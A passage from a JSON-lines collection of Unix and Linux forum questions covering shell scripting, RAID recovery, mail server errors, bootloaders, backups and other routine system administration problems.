ssh://user@mysite.net:1234/mnt/thing/usr/prj I want to use ssh://user@mysite.net:1234/prj How would I do this? It would be good if users can't access `/home`, `/var` and such. I only need this for data transfers."} {"_id": "12439", "title": "Can I configure my shell to print STDERR and STDOUT in different colors?", "text": "I want to set my terminal up so `stderr` is printed in a different color than `stdout`; maybe red. This would make it easier to tell the two apart. Is there a way to configure this in `.bashrc`? If not, is this even possible? * * * **Note** : This question was merged with another that asked for `stderr`, `stdout` _and the user input echo_ to be output in _3 different colours_. Answers may be addressing either question."} {"_id": "10510", "title": "How to detect memory type under Linux?", "text": "Which Linux utility can tell me if I have registered or unbuffered ECC memory in my server? `Lshw` and `dmidecode` do not work for me; `dmidecode` provides no information about registered vs. unbuffered: Handle 0x0022, DMI type 17, 28 bytes Memory Device Array Handle: 0x0021 Error Information Handle: Not Provided Total Width: 72 bits Data Width: 64 bits Size: 4096 MB Form Factor: DIMM Set: None Locator: DIMM-1A Bank Locator: Not Specified Type: Type Detail: Synchronous Speed: 1066 MHz (0.9 ns) Manufacturer: Not Specified Serial Number: Not Specified Asset Tag: Not Specified Part Number: Not Specified"} {"_id": "10511", "title": "sed : insert sth before subsequent lines that begin the same, but are not the same", "text": "I have a LaTeX file with one glossary entry per line: ... \\newglossaryentry{ajahn}{name=Ajahn,description={\\textit{(Thai)} From the Pali \\textit{achariya}, a Buddhist monk's preceptor: `teacher'; often used as a title of the senior monk or monks at monastery. In the West, the forest tradition uses it for all monks and nuns of more than ten years' seniority}} \\newglossaryentry{ajivaka}{name={\\=Aj\\={\\i}vaka},description={Sect of contemplatives contemporary with the Buddha who held the view that beings have no volitional control over their actions and that the universe runs according to fate and destiny}} ... Here we're only concerned about the `\\newglossaryentry{label}` part of each line. The lines of the file has been sorted with `sort`, so duplicate labels come up like this: \\newglossaryentry{anapanasati}{name=\\=an\\=ap\\=anasati,description={`Awareness of inhalation and exhalation'; using the breath, as a mediation object},sort=anapanasati} \\newglossaryentry{anapanasati}{name={\\=an\\=ap\\=anasati},description={Mindfulness of breathing. A meditation practice in which one maintains one's attention and mindfulness on the sensations of breathing. \\textbf{[MORE]}}} **How do I`sed` this file, to insert a line before duplicate labels?** #!/bin/sh cat glossary.tex | sed ' /\\\\newglossaryentry[{][^}]*[}]/{ N; s/^\\(\\\\newglossaryentry[{][^}]*[}]\\)\\(.*\\)\\n\\1/% duplicate\\n\\1\\2\\n\\1/; }' > glossary.sed.tex I made it as far as the command above, but it has a flaw: it reads the lines to pattern space in pairs, and so it only works when the duplicate happens to be the pair it read in. These will not match for example: \\newglossaryentry{abhinna}{name={abhi\\~n\\~n\\=a},description={Intuitive powers that come from the practice of concentration: the ability to display psychic powers, clairvoyance, clairaudience, the ability to know the thoughts of others, recollection of past lifetimes, and the knowledge that does away with mental effluents (see \\textit{asava}).}} \\newglossaryentry{acariya}{name={\\=acariya},description={Teacher; mentor. See \\textit{kalyanamitta.}}} \\newglossaryentry{acariya}{name=\\=acariya,description={Teacher},see=Ajahn} \\newglossaryentry{adhitthana}{name={adhi\\d{t}\\d{t}h\\=ana},description={Determination; resolution. One of the ten perfections \\textit{(paramis).}}} Because first it reads in the lines with _abhinna_ and _acariya_ , then it reads _acariya_ and _aditthana_ . I figure that this needs some extra `sed` magic with hold space and conditional printing of lines, but I couldn't get my head around it."} {"_id": "53567", "title": "How do you automatically elevate an automatic task to root privileges or is there an alternative approach?", "text": "I'm trying to write, in essence, an automatic deployment script for use by our development team and I know I can set up SSH to use keys so that I can automatically authenticate via key instead of password for the purposes of executing remote commands; however, what I'm stuck on is that the task that needs to execute for deployment requires us to restart an upstart job which requires root privileges. I've looked around on the internet (and here) and have been mostly unsuccessful and finding solutions. The question: Is there a way to remotely (and automatically, the script is not monitored so password authentication as sudo requires will not work) elevate to root privileges to restart a job or give a user group the ability to do that? Overall I would still consider myself a newbie Linux user, I haven't done a lot of work with permissions but I've learned my way around operations pretty well."} {"_id": "53565", "title": "Cent OS 6.3 Hidden files in shell", "text": "I need help, I want to be able to check whether a file is hidden or not in Cent OS 6.3. These are often referred to as (dot) files but I can clearly see Cent OS 6.3 handling these by appending a ~(tilde) to the end EG: myfile (not hidden) myfile~ (hidden) Now, I can tell that a file is \"hidden\" if it's a dot file, but what is going on with this tilde (~) terminating character - is this particular to Cent OS 6.3? Is this something I can simply check for in the file name (EG: starting with a dot or ending with a tilde) I would appreciate help on this as, I would assume \"hidden\" is a file attribute rather than a \"naming convention\" as I wrong?"} {"_id": "8867", "title": "Install grub on hard disk used in another system", "text": "So I have a 512MB flash chip used in an embedded system with the following partition table: p1: 32MB boot partition p2: 200MB recovery partition p3: 200MB normal partition I'm using buildroot on my ubuntu (development) box to compile the 200MB ext2 image for the \"normal\" parition. At this point on my dev box I dd the image created from buildroot to the flash chip (plugged in with an ide to usb connector on /dev/sdd): dd if=./output/images/rootfs.ext2 of=/dev/sdd3 OK, fine this works and I can mount /dev/sdd3 and see the entire filesystem that the embedded device will use. Now, I want to install grub on this flash chip and am lost on how to do this. I've tried: grub-install /dev/sdd But when I plug the flash chip into my embedded device and turn it on, grub won't load (just sits at a black screen with blinking cursor--no error)."} {"_id": "8862", "title": "Is locking the screen safe?", "text": "See USB driver bug exposed as \"Linux plug&pwn\", or this link * * * Two choices [GNOME, Fedora 14]: 1. Use the `gnome-screensaver` 2. Use the \"switch user\" function [gnome menu -> log out -> switch user] So the question is: which one is the safer method to lock the screen if a user leaves the pc? Is it true that using the [2] method is safer? The way I see it, the `gnome- screensaver` is just a \"process\", it could be killed. But if you use the log out/switch user function, it's \"something else\". Using the \"switch user\" function, could there be a problem like with the `gnome-screensaver`? Could someone \"kill a process\" and presto...the lock is removed? Could the GDM [??] \"login windows process\" get killed and the \"lock\" gets owned? ![Screenshot of the GDM login window process](http://www.labtestproject.com/files/screenshot/fedora12/042_fedora12_kde_login.png) * * * If the [2] method is safer, then how can i put an icon on the GNOME panel, to launch the \"switch user\" action by 1 click?"} {"_id": "8861", "title": "How to recover a crashed Linux md RAID5 array?", "text": "Some time ago I had a RAID5 system at home. One of the 4 disks failed but after removing and putting it back it seemed to be OK so I started a resync. When it finished I realized, to my horror, that 3 out of 4 disks failed. However I don't belive that's possible. There are multiple partitions on the disks each part of a different RAID array. * md0 is a RAID1 array comprised of sda1, sdb1, sdc1 and sdd1. * md1 is a RAID5 array comprised of sda2, sdb2, sdc2 and sdd2. * md2 is a RAID0 array comprised of sda3, sdb3, sdc3 and sdd3. md0 and md2 reports all disks up while md1 reports 3 failed (sdb2, sdc2, sdd2). It's my uderstanding that when hard drives fail all the partitions should be lost not just the middle ones. At that point I turned the computer off and unplugged the drives. Since then I was using that computer with a smaller new disk. Is there any hope of recovering the data? Can I somehow convince mdadm that my disks are in fact working? The only disk that may really have a problem is sdc but that one too is reported up by the other arrays. **Update** I finally got a chance to connect the old disks and boot this machine from SystemRescueCd. Everything above was written from memory. Now I have some hard data. Here is the output of `mdadm --examine /dev/sd*2` /dev/sda2: Magic : a92b4efc Version : 0.90.00 UUID : 53eb7711:5b290125:db4a62ac:7770c5ea Creation Time : Sun May 30 21:48:55 2010 Raid Level : raid5 Used Dev Size : 625064960 (596.11 GiB 640.07 GB) Array Size : 1875194880 (1788.33 GiB 1920.20 GB) Raid Devices : 4 Total Devices : 4 Preferred Minor : 1 Update Time : Mon Aug 23 11:40:48 2010 State : clean Active Devices : 3 Working Devices : 4 Failed Devices : 1 Spare Devices : 1 Checksum : 68b48835 - correct Events : 53204 Layout : left-symmetric Chunk Size : 64K Number Major Minor RaidDevice State this 0 8 2 0 active sync /dev/sda2 0 0 8 2 0 active sync /dev/sda2 1 1 8 18 1 active sync /dev/sdb2 2 2 8 34 2 active sync /dev/sdc2 3 3 0 0 3 faulty removed 4 4 8 50 4 spare /dev/sdd2 /dev/sdb2: Magic : a92b4efc Version : 0.90.00 UUID : 53eb7711:5b290125:db4a62ac:7770c5ea Creation Time : Sun May 30 21:48:55 2010 Raid Level : raid5 Used Dev Size : 625064960 (596.11 GiB 640.07 GB) Array Size : 1875194880 (1788.33 GiB 1920.20 GB) Raid Devices : 4 Total Devices : 4 Preferred Minor : 1 Update Time : Mon Aug 23 11:44:54 2010 State : clean Active Devices : 2 Working Devices : 3 Failed Devices : 1 Spare Devices : 1 Checksum : 68b4894a - correct Events : 53205 Layout : left-symmetric Chunk Size : 64K Number Major Minor RaidDevice State this 1 8 18 1 active sync /dev/sdb2 0 0 0 0 0 removed 1 1 8 18 1 active sync /dev/sdb2 2 2 8 34 2 active sync /dev/sdc2 3 3 0 0 3 faulty removed 4 4 8 50 4 spare /dev/sdd2 /dev/sdc2: Magic : a92b4efc Version : 0.90.00 UUID : 53eb7711:5b290125:db4a62ac:7770c5ea Creation Time : Sun May 30 21:48:55 2010 Raid Level : raid5 Used Dev Size : 625064960 (596.11 GiB 640.07 GB) Array Size : 1875194880 (1788.33 GiB 1920.20 GB) Raid Devices : 4 Total Devices : 4 Preferred Minor : 1 Update Time : Mon Aug 23 11:44:54 2010 State : clean Active Devices : 1 Working Devices : 2 Failed Devices : 2 Spare Devices : 1 Checksum : 68b48975 - correct Events : 53210 Layout : left-symmetric Chunk Size : 64K Number Major Minor RaidDevice State this 2 8 34 2 active sync /dev/sdc2 0 0 0 0 0 removed 1 1 0 0 1 faulty removed 2 2 8 34 2 active sync /dev/sdc2 3 3 0 0 3 faulty removed 4 4 8 50 4 spare /dev/sdd2 /dev/sdd2: Magic : a92b4efc Version : 0.90.00 UUID : 53eb7711:5b290125:db4a62ac:7770c5ea Creation Time : Sun May 30 21:48:55 2010 Raid Level : raid5 Used Dev Size : 625064960 (596.11 GiB 640.07 GB) Array Size : 1875194880 (1788.33 GiB 1920.20 GB) Raid Devices : 4 Total Devices : 4 Preferred Minor : 1 Update Time : Mon Aug 23 11:44:54 2010 State : clean Active Devices : 1 Working Devices : 2 Failed Devices : 2 Spare Devices : 1 Checksum : 68b48983 - correct Events : 53210 Layout : left-symmetric Chunk Size : 64K Number Major Minor RaidDevice State this 4 8 50 4 spare /dev/sdd2 0 0 0 0 0 removed 1 1 0 0 1 faulty removed 2 2 8 34 2 active sync /dev/sdc2 3 3 0 0 3 faulty removed 4 4 8 50 4 spare /dev/sdd2 It appears that things have changed since the last boot. If I'm reading this correctly sda2, sdb2 and sdc2 are working and contain synchronized data and sdd2 is spare. I distinctly remember seeing 3 failed disks but this is good news. Yet the array still isn't working: Personalities : [linear] [multipath] [raid0] [raid1] [raid6] [raid5] [raid4] [raid10] md125 : inactive sda2[0](S) sdb2[1](S) sdc2[2](S) 1875194880 blocks md126 : inactive sdd2[4](S) 625064960 blocks md127 : active raid1 sda1[0] sdd1[3] sdc1[2] sdb1[1] 64128 blocks [4/4] [UUUU] unused devices: md0 appears to be renamed to md127. md125 and md126 are very strange. They should be one array not two. That used to be called md1. md2 is completely gone but that was my swap so I don't care. I can understand the different names and it doesn't really matter. But why is an array with 3 \"active sync\" disks unreadable? And what's up with sdd2 being in a separate array? **Update** I tried the following after backing up the superblocks: root@sysresccd /root % mdadm --stop /dev/md125 mdadm: stopped /dev/md125 root@sysresccd /root % mdadm --stop /dev/md126 mdadm: stopped /dev/md126 So far so good. Since sdd2 is spare I don't want to add it yet. root@sysresccd /root % mdadm --assemble /dev/md1 /dev/sd{a,b,c}2 missing mdadm: cannot open device missing: No such file or directory mdadm: missing has no superblock - assembly aborted Apparently I can't do that. root@sysresccd /root % mdadm --assemble /dev/md1 /dev/sd{a,b,c}2 mdadm: /dev/md1 assembled from 1 drive - not enough to start the array. root@sysresccd /root % cat /proc/mdstat Personalities : [linear] [multipath] [raid0] [raid1] [raid6] [raid5] [raid4] [raid10] md1 : inactive sdc2[2](S) sdb2[1](S) sda2[0](S) 1875194880 blocks md127 : active raid1 sda1[0] sdd1[3] sdc1[2] sdb1[1] 64128 blocks [4/4] [UUUU] unused devices: That didn't work either. Let's try with all the disks. mdadm --stop /dev/md1 mdadm: stopped /dev/md1 root@sysresccd /root % mdadm --assemble /dev/md1 /dev/sd{a,b,c,d}2 mdadm: /dev/md1 assembled from 1 drive and 1 spare - not enough to start the array. root@sysresccd /root % cat /proc/mdstat Personalities : [linear] [multipath] [raid0] [raid1] [raid6] [raid5] [raid4] [raid10] md1 : inactive sdc2[2](S) sdd2[4](S) sdb2[1](S) sda2[0](S) 2500259840 blocks md127 : active raid1 sda1[0] sdd1[3] sdc1[2] sdb1[1] 64128 blocks [4/4] [UUUU] unused devices: No luck. Based on this answer I'm planning to try: mdadm --create /dev/md1 --assume-clean --metadata=0.90 --bitmap=/root/bitmapfile --level=5 --raid-devices=4 /dev/sd{a,b,c}2 missing mdadm --add /dev/md1 /dev/sdd2 Is it safe? **Update** I publish the superblock parser script I used to make that table in the my comment. Maybe someone will find it useful. Thanks for all your help."} {"_id": "21407", "title": "Postfix doesn't send mail, complaining about \"Host or domain name not found\"", "text": "I followed these instructions in order to send mail and here's the Postfix log: Sep 26 00:46:24 tshepang postfix/smtpd[5728]: 8EE2464931: client=localhost[127.0.0.1] Sep 26 00:47:44 tshepang postfix/cleanup[5810]: 8EE2464931: message-id=<20110925224624.8EE2464931@tshepang> Sep 26 00:47:44 tshepang postfix/qmgr[5772]: 8EE2464931: from=, size=350, nrcpt=1 (queue active) Sep 26 00:48:04 tshepang postfix/smtp[5859]: 8EE2464931: to=, relay=none, delay=127, delays=107/0.01/20/0, dsn=4.4.3, status=deferred (Host or domain name not found. Name service error for name=gmail.com type=MX: Host not found, try again) Sep 26 00:48:39 tshepang postfix/smtpd[5728]: disconnect from localhost[127.0.0.1] Also, this may be relevant (from \" **/etc/postfix/main.cf** \"): myhostname = tshepang mydestination = tshepang, localhost relayhost = mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128 inet_interfaces = all inet_protocols = all I am running this on Debian 6."} {"_id": "21402", "title": "Split is not available?", "text": "I've just tried to run a simple shell script on my Readynas server running Debian, and it appears that the `split` command is not available. This is a server which I can't fiddle too much with, so if there's a way to get `split` running without risk of breaking other native ReadyNAS features, I would be super happy. Thanks"} {"_id": "8869", "title": "Why can't I use arrow keys in terminal on Debian 6? (nonroot)", "text": "When I am on a non-root user I cannot use `\u2191`/`\u2193` to list my previous commands, and if I am typing I can't use `\u2190`/`\u2192` to say, add in a directory or to correct the spelling. Worse, I can't use `Tab`. I could write `/var/www/mylongsitena` and pressing `Tab` will not autocomplete it. It's _extremely_ annoying. How can I change this? IIRC Debian etch and lenny didn't do this. How can I unto this change?"} {"_id": "62782", "title": "Gedit cannot save in shared folder (Virtualbox)", "text": "I'm getting the \"Cannot save **_** Unexpected error: Error renaming temporary file: Text file busy\" in Gedit 2 when I try to save in a shared folder with Virtualbox (Debian). I've searched and apparently it's a Gedit problem. None of the solutions seem ideal or work for me. Would it be possible to create a shell script (external tools plugin) that saves the file somewhere else, then copies it back in shell? So I'll need to grab wherever Gedit's stored the temporary (live?) file. Or if this is not possible/won't work/bad practice, does anyone know a good way to get around this? I really like Gedit and prefer to use it. * * * Currently, this is my script. I tell external tools not to save but pass the document as input (stdin) bin=\"\" while read LINE; do echo ${LINE} # do something with it here bin=\"${bin}${LINE}\\n\" done echo $bin > /home/me/data2/test.txt It works fine except it doesn't preserve tabs. I'my only editing plain text files. Edit: this also seems to skip the last line"} {"_id": "62785", "title": "Why does Debian sometimes ask me to insert the (installation?) cd when I install packages?", "text": "I've noticed sometimes when I do `apt-get` Debian asks me to insert [the installation cd I used] (6.0.6 amd64 dvd1). Sometimes it doesn't, although maybe it's because I've already mounted it earlier; I can't notice a definite pattern. Why is this? Does this happen with other flavors too? And I've searched for stuff like \"virtualbox apt-get installation cd\" with no luck (can't find a good query)."} {"_id": "91349", "title": "Where can you find the answer to the following question: \u201cHow do you get the NUMLOCK key to default to on for the GUI console?\u201d", "text": "This is on a fedora machine. I have to look in man pages first to find the answer, if not then in an info page. If the answer is not there then I have to use the internet to find the answer. It is on a school server. I thought it was numlockx but that program is not installed on the server and it is suppose to be something that is on the server. I don't know of any other program that it could be."} {"_id": "26834", "title": "Can't make a copy of /var/lib/mysql/ibdata1", "text": "I have a RedHat Linux server and I'm trying to make a copy of `/var/lib/mysql/ibdata1`, but I'm receiving an error saying permission denied and the file cannot be opened. I'm logged in as root user and tried to use `sudo cp`... Any idea of what I'm doing wrong? Sorry for my ignorance, but I don't know much about Unix systems. I was trying `sudo su mysql` to make the copy, then it asks for a password that should be the one I have, but it is saying it's wrong!"} {"_id": "76628", "title": "GNU Screen weird characters on click", "text": "I have a small problem in GNU screen. A GNU screen session runs on my RaspberryPi. Now sometimes, when I join it, if I click in the terminal (I'm using terminator on Fedora) I see weird characters written. These characters depend on the coordinates of my mouse\u2026 Seems like a wrong decoding of the click event sent to GNU Screen. These characters include things like kM#kM - Z3#Z3 - q-#q- etc\u2026 I first thought it was a problem with my `tty` so I went and opened a new GNU Screen session on my RaspberryPi: no problem at all. I did a `stty -a` on both session and saw there were difference. I then did a `stty -g > ~/stty-good-settings` on the good session and loaded it on the bad one with `stty `cat ~/stty-good-settings`` (I compared the values after that, the settings were successfully loaded) but I still have the problem in one of the screen sessions and not the other! I'm not sure what's happening, if this is due to my `TERM` value (same in both), my `tty` settings, my terminal\u2026"} {"_id": "26836", "title": "How can I find all files that do NOT contain a text string?", "text": "What **concise** command can I use to find all files that do NOT contain a text string? I tried this (using -v to invert grep's parameters) with no luck: find . -exec grep -v -l shared.php {} \\; Someone said this would work: find . ! -exec grep -l shared.php {} \\; But it does not seem to work for me. This page has this example: find ./logs -size +1c > t._tmp while read filename do grep -q \"Process Complete\" $filename if [ $? -ne 0 ] ; then echo $filename fi done < t._tmp rm -f t_tmp But that's cumbersome and not at all concise. ps: I know that `grep -L *` will do this, but how can I use the find command in combination with grep to excluded files is what i really want to know. pss: Also I'm not sure how to have grep include subdirectories with the `grep -L *` syntax, but I still want to know how to use it with `find` :)"} {"_id": "106489", "title": "z in bash script returns zero", "text": "#[ -z \"\" ] #echo $? returns 0 #[ -a \"\" ] #echo $? returns 1 except z all other alphabets throw 1 What might be the reason?"} {"_id": "26833", "title": "Redirecting output when I execute \"bash -c ...\" from a C program", "text": "Say I have a C program and in it I want to execute a shell command and redirect its output to file, by using the stdlib system function. system(\"bash -c \\\"echo $HOME\\\" > a.txt\"); Now this is for illustration, it actually doesn't work. How do I make the output redirection work? Because I'm calling bash from a function I need the process itself to do the redirecting."} {"_id": "67577", "title": "Network naming on Arch Linux", "text": "I've just installed Arch Linux on my old PC, to do the installation I used `wifi-menu wlan0`, now I've reboot but if I type: ifconfig wlan0 up I have as a result: wlan0: ERROR while getting interface flag: no such device I read that after the installation Arch changes the name of `wlan`, how can I find the new name and how could I change it?"} {"_id": "106488", "title": "What format is the file /var/mail/username mail utilities", "text": "I need a sample file where `mail` utility stored messages. What I mean is: Return-path: Received: from anton by nflogs.domain with local (Exim 4.80) (envelope-from ) id 1VuiP9-0006js-Fa; Sun, 22 Dec 2013 19:45:11 +0700 To: man@nflogs.domain Subject: test Cc: textCC@example.domain Message-Id: From: Anton Date: Sun, 22 Dec 2013 19:45:11 +0700 But I'm not sure that it's right."} {"_id": "67573", "title": "Script to search inside non-root and tmp directories", "text": "I have a script: egrep -R -s -c '([^0-9a-zA-Z_-]|^)(5[1-5][0-9]{2}( |-|)([0-9]{4})( |-|)([0-9]{4})( |-|)([0-9]{4}))([^0-9a-zA-Z_-]|$)' $searchpath | egrep '\\:[^0]' > $logfilename It needs to be modified to search only `/home` non-root and `/tmp` directories. Home directories (off root) Temp directories (off root listed as tmp) *Websphere logs: Getting Specs for these logs *Apache logs: Getting Specs for these logs The output file should include the server name. The search results should be empty, please create a log file, showing start, stop time and server name, no records found."} {"_id": "106486", "title": "Partitions same size but different block", "text": "I tried to backup my partition using dd on another disk and I created a partition of the same size. When I finished the copy I had problems mounting the partition since I got `bad geometry: block count` . I noticed that in order to create a correct backup (avoid bad geometry error) not only the two partitions must have the same size in MB but also the same number of blocks (The number in blocks you can check using fdisk -l). I also noticed that the number of blocks varies if I create the partition starting from the beginning or starting from the end . Can someone explain me the behaviour and how to create two partition with the exact the same block size?"} {"_id": "116174", "title": "Copy files based on date/time from subset of directories", "text": "I'm teaching a class where (~80) students are submitting assignments that I can access via webdav, organized by student in directories named by their unique identifier. The students are split into two groups that submit assignments on different days of the week. I'd like to create a bash script to automatically download files for each subset of students into a local directory. What I don't know how to do is the following: 1. Select a specific subset of folders by name to copy files from. * Edited based on comments: The webdav server I connect to has 80 directories named by student, these 80 directories are made up of two groups of students. * I would like to select files from directories in each group, i.e., Group1 contains directories `StudentA/ StudentC/ StudentD/`. Group 2 would contain the directories `StudentB/ StudentE/ StudentF/`. 2. Specify the beginning date/time of files to be copied. End date/time would be useful to since I take deductions for late assignments. Any help on either of these would be appreciated."} {"_id": "96980", "title": "OS X virtualization for software development", "text": "I am a OS X user and I work on multiple platforms for which I need multiple dependencies. I want to separate my different development dependency packages in virtual environments so they are all isolated and also can be purged easily later on. General workflow can be described as follows 1. Create a virtual machine 2. Install dependencies and setup work environment (preferably from a config file) 3. Do whatever you want in this environment 4. Purge virtual machine In Linux we have LXC Containers which can do this thing I guess (never used it but will surely try). May be that's similar thing. May be not. I have used Vagrant which is exactly what am I looking for but for OS X. Please suggest me if do you know of any technology that can do this."} {"_id": "96987", "title": "YUM: How to prevent EPEL from upgrading packages installed from other repos?", "text": "I would like to leave EPEL enabled and configure it to allow updating only the packages that were installed from EPEL itself in the first place (packages which were manually installed from EPEL because of specific needs). **Is there a yum conf directive to allow this?** * CentOS 6.4 * Yum 3.2.29"} {"_id": "68631", "title": "fstab not mounting VirtualBox shared folder?", "text": "I have a virtual machine here which I use for development, so as not to mess anything up in my existing environment. I've made a share named \"web\" available to the guest OS (Ubuntu 12.10 Server) from the host OS (Ubuntu 12.04 Desktop). I have configured it to automatically mount in `/etc/fstab` with the following line: web /var/www vboxsf defaults,uid=1000,gid=1000 0 0 However, when I reboot, it's definitely not mounted, the `/var/www` folder shows the default install's `index.html` file, not the contents of the shared folder. If I run `sudo mount`, I see the mount in the output: web on /var/www type vboxsf (uid=1000,gid=1000,rw) web on /media/sf_web type vboxsf (gid=1001,rw) It seems to also be mounted in a different location which I didn't setup. If I try to remount all the mounts in `/etc/fstab` by running `sudo mount -a`, it still is not mounted. I can only get it mounted by manually mounting it using `mount`. Where is this other mount location coming from and why is what I'm doing not working?"} {"_id": "149488", "title": "How to setup a scanner in crouton chroot?", "text": "I have ubuntu 12.04 installed on my hp chromebook using crouton but I'm not sure how to access a usb device from inside the chroot. I'm trying to access a brother DS-720D scanner with xsane. From outside the chroot I can do lsusb and see the device is listed. I installed the driver inside the chroot and followed these instructions to load my udev rules at login. https://github.com/dnschneid/crouton/wiki/udev:-manage-inserted-devices But the device doesn't show up to sane-find-scanner or scanimage -L I'm stumped at where to go from here. How do I get this scanner working?"} {"_id": "68633", "title": "Ubuntu 12.04 won't boot, asks for low graphics mode, cant run apt-get because file system is read-only", "text": "My computer won't boot anymore I think because it ran out of disk space. It asks to boot in low graphics mode and then gets stuck checking battery state. When I boot in recovery mode I run clean and it says it's okay and gets stuck. I go to root terminal and try to delete things or run `apt-get` and I can't because I can't delete the lock file or anything else. Any ideas?"} {"_id": "149487", "title": "gtar fails to perform incremental backup", "text": "The following script fails to perform incremental backup, but creates full backup instead. On another FreeBSD server exactly same script works just fine (creating incremental backups). Servers are identical, same FreeBSD 10.0-RELEASE on both machines. Script it exactly the same. Version of gtar is identical. File system is identical. Not sure what's going on. Searched for days! Please help. #!/bin/sh sourcedir=\"/home\" targetdir=\"/backup/home\" now=$(date +\"%Y%m%d%H%M\") cd $sourcedir for dir in */ do base=$(basename \"$dir\") gtar -cz -g \"$targetdir/.gtar-incremental\" -f \"$targetdir/${base}-$now.tar.gz\" \"/home/$dir\" chmod 600 \"$targetdir/${base}-$now.tar.gz\" done"} {"_id": "96989", "title": "badblocks and \"end_request: I/O error\" in output", "text": "I have 500GB disk in my toshiba laptop, I tried to do backup of files in this HDD but it failed few times (ubuntu just closed copying operation or unmounted disk during copying files). So I boot my laptop from ubuntu 12.10 on USB, and I didn't mount that harddrive (it's /dev/sda1) and I run: sudo badblocks -nvs /dev/sda1 and output is: [3277.882968] end_request: I/O error, dev sda, sector 825437 and milion of similar lines but with different numbers Should I mount this disk before I run badblocks? Why it's returning so many I/O errors? Do you know other applications to check disk? I still can mount this disk and browse files on in, but it looks like I have bad sectors or something is wrong with this HDD, so I'd like to check it."} {"_id": "120196", "title": "How to check if all of dns resolvers are working?", "text": "How can I check if all of dns resolvers are working under linux console?"} {"_id": "106626", "title": "What does the line $(rpm -E %fedora) mean?", "text": "I'm trying to add a new repository to my Fedora and was asked to introduce the following command: su -c 'yum localinstall --nogpgcheck http://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-$(rpm -E %fedora).noarch.rpm' I'm trying to understand what every part of the command means, and almost have it all, except for the line `$(rpm -E %fedora)`. I googled it but found nothing, so I decided to ask here."} {"_id": "103472", "title": "Obtaining PID of command earlier in Pipeline", "text": "I'm writing a bash script to use `inotifywait` to monitor a directory and kick off actions when changes are detected. Something like: inotifywait -m ... | while read f; do something; done Since `inotifywait` doesn't terminate by itself, this script will not halt. So my plan was to get the PID of the inotifywait process, save it to a file and have a different process kill it later, say like: inotifywait -m ... | { echo ??PID?? > pid-file; while ... } But I don't know how to get the PID. Is there a simple way to achieve this? Another way is just to save the PID of the shell-script `$$` to the file and kill the entire shell-script but I wanted to do some cleanup after the while loop. I have tried using `coproc` and I think it will work but it seems like more complication than necessary."} {"_id": "138650", "title": "Can't find lib which provides libneon.so.25", "text": "I'm running `yum whatprovides libneon.so.25`, but can't find any library that provides this. Am I missing something?"} {"_id": "151770", "title": "Cannot login to svn server", "text": "I have a SVN server on my Raspberry Pi (Raspbian). It has a project under the directory `/welcome`, I want to add users to it. My users would be `admin` with password `admin` and `user2` with password `tempuser2` This is my `authz` file: ### This file is an example authorization file for svnserve. ### Its format is identical to that of mod_authz_svn authorization ### files. ### As shown below each section defines authorizations for the path and ### (optional) repository specified by the section name. ### The authorizations follow. An authorization line can refer to: ### - a single user, ### - a group of users defined in a special [groups] section, ### - an alias defined in a special [aliases] section, ### - all authenticated users, using the '$authenticated' token, ### - only anonymous users, using the '$anonymous' token, ### - anyone, using the '*' wildcard. ### ### A match can be inverted by prefixing the rule with '~'. Rules can ### grant read ('r') access, read-write ('rw') access, or no access ### (''). [aliases] # joe = /C=XZ/ST=Dessert/L=Snake City/O=Snake Oil, Ltd./OU=Research Institute/C$ [groups] # harry_and_sally = harry,sally # harry_sally_and_joe = harry,sally,&joe # [/foo/bar] # harry = rw # &joe = r # * = [/welcome] admin = rw user2 = rw This is my `passwd` file: ### This file is an example password file for svnserve. ### Its format is similar to that of svnserve.conf. As shown in the ### example below it contains one section labelled [users]. ### The name and password for each user follow, one account per line. [users] # harry = harryssecret # sally = sallyssecret admin = admin user2 = tempuser2 The `svnserve.conf`: ### This file controls the configuration of the svnserve daemon, if you ### use it to allow access to this repository. (If you only allow ### access through http: and/or file: URLs, then this file is ### irrelevant.) ### Visit http://subversion.apache.org/ for more information. [general] password-db = passwd auth-access=write realm = repository-rpi authz-db=authz I can't commit to that server, it always says \"Unauthorized\". What am I missing? (passwd and authz are both in the same directory as svnserve.conf)"} {"_id": "151774", "title": "diskio/diskiograph in Conky only understands physical device names?", "text": "In case this is so, it can be a huge downer in modern Linux distros, since the device names are very often assigned arbitrarily. So if you have no more than two HDDs in your system, but two USB flash drives sticking in their ports, things might look like this after bootup: /dev/sda .. HDD #1 /dev/sdb .. USB flash drive #1 /dev/sdc .. USB flash drive #2 /dev/sdd .. HDD #2 I have searched high and low and tried various hacks for my `.conkyrc` to no avail. It just does not seem to work. I even thought about \"creating\" the format required for conky by executing a system command, but even this failed. In `bash`, this can be achieved by $ basename $(readlink /dev/disk/by-label/mydisklabel) Though conky DOES allow execution of system commands, it seems that in {diskio}/{diskiograph} options, this is not possible. So the following will NOT work: ${diskio /dev/${execp basename $(readlink /dev/disk/by-label/mydisklabel)}} Neither would the variant with the UUID work (not shown here). Has anyone of you guys ever managed to \"teach\" this to conky? It's so insanely versatile, but it's almost unbelievable that (compared to the good old days) `udev` and friends will no longer keep drives in a certain order, but scramble them again on each bootup sequence, while tools (GKrellM is none the better!) stubbornly insist on physical drive/device names."} {"_id": "24579", "title": "Is there a way to give emacs the KDE look and feel?", "text": "I'm using emacs for most of my work. I'm switching from gnome desktop to KDE (checking things out) and it bother me that emacs look soo diferent from the rest of the desktop. Is there a way to give emacs the KDE properties? I was sure there was a qt frontend for emacs but couldn't find any."} {"_id": "138652", "title": "Click a link to download file using curl", "text": "I have an HTML page on which several links are there, I want to click one link and that will download relevant file for me. How do I simulate this using curl. All links have different name attribute"} {"_id": "24577", "title": "Enable Compiz Fusion at startup kde", "text": "Compiz is \"temporarily disabled\" by default, I have to enable Compiz by pressing `Alt`+`Shift`+`F12` every time I start my computer. Can somebody please tell me how it can be enabled automatically at startup? I am using Compiz Fusion on Kubuntu 10.10."} {"_id": "151778", "title": "Ethernet does not work at all", "text": "I haven't used my NIC for some time, and now it doesn't work anymore, at all. I can assign IP addresses to it manually (`sudo ip addr add 192.168.2.155/24 broadcast 192.168.2.255 dev eth0`, for example), but I cannot even ping hosts in the same network. Very suspicious in my eyes is that ethtool (`ethtool -S eth0`) displays some transmitted packets, but always exactly zero received bytes & packets. Something is clearly wrong. Here is a list of the things I tried * rebooting * tried other cable * tried other port (this laptop has one port on it's docking station and one on the laptop itself ; they're internally connected to the same NIC) * tried other switch (switch A: 8 port GbE, switch B: 5 port 100 MbE) * Downgraded kernel and linux-firmware to older versions (3.13 and mid-2013 respectively) * 